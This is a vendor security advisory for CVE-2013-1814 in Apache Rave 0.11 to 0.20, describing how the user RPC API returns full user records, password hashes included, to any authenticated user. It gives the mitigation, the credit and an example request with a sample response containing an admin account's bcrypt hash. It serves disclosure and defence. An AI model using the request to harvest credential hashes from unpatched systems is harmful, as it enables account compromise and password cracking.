Apache Rave 0.11 < 0.20 - User Information Disclosure

CVE-2013-1814: Apache Rave exposes User over API



Severity: Important



Vendor: The Apache Software Foundation



Versions Affected:

Rave 0.11 to 0.20



Description:

Rave returns the full user object, including the salted and hashed

password, via the User RPC API.  This endpoint is only available to

authenticated users, but will return all User objects in the database

given the correct query.



Mitigation:

All users who rely on Rave's user management capabilities should

upgrade to 0.20.1 or later.

If an upgrade is infeasible, restrict access to the /app/api/user URL

paths via Spring Security configuration or other means.



Example:

A request to:



/app/api/rpc/users/get?offset=OFFSET



will return the following:



{"error":false,"errorMessage":null,"errorCode":"NO_ERROR","result":{"result=

Set":[{"entityId":1,"username":"canonical","email":"canonical@example.com",=

"displayName":"Canonical

User","additionalName":"canonical","familyName":"User","givenName":"Canonic=

al","honorificPrefix":null,"honorificSuffix":null,"preferredName":null,"abo=

utMe":null,"status":"Single","addresses":[],"organizations":[],"properties"=

:[{"entityId":1,"type":"thumbnailUrl","value":"http://opensocial2.org:8080/=

collabapp/images/avatars/BillRanney.jpg","qualifier":null,"extendedValue":n=

ull,"primary":null,"id":"1"}],"password":"$2a$10$TkEgze5kLy9nRlfd8PT1zunh6P=

1ND8WPjLojFjAMNgZMu1D9D1n4.","expired":false,"locked":false,"enabled":true,=

"openId":null,"forgotPasswordHash":null,"forgotPasswordTime":null,"defaultP=

ageLayout":{"entityId":4,"code":"columns_3","numberOfRegions":3,"renderSequ=

ence":3,"userSelectable":true},"confirmPassword":null,"defaultPageLayoutCod=

e":null,"authorities":[{"entityId":2,"authority":"ROLE_ADMIN","users":[],"d=

efaultForNewUser":false}],"id":"1","accountNonLocked":true,"credentialsNonE=

xpired":true,"accountNonExpired":true},

........ ],"pageSize":10,"offset":0,"totalResults":14,"numberOfPages":2,"cu=

rrentPage":1}}



Credit:

This issue was discovered by Andreas Guth of RWTH Aachen University.



References:

http://tomcat.apache.org/security.html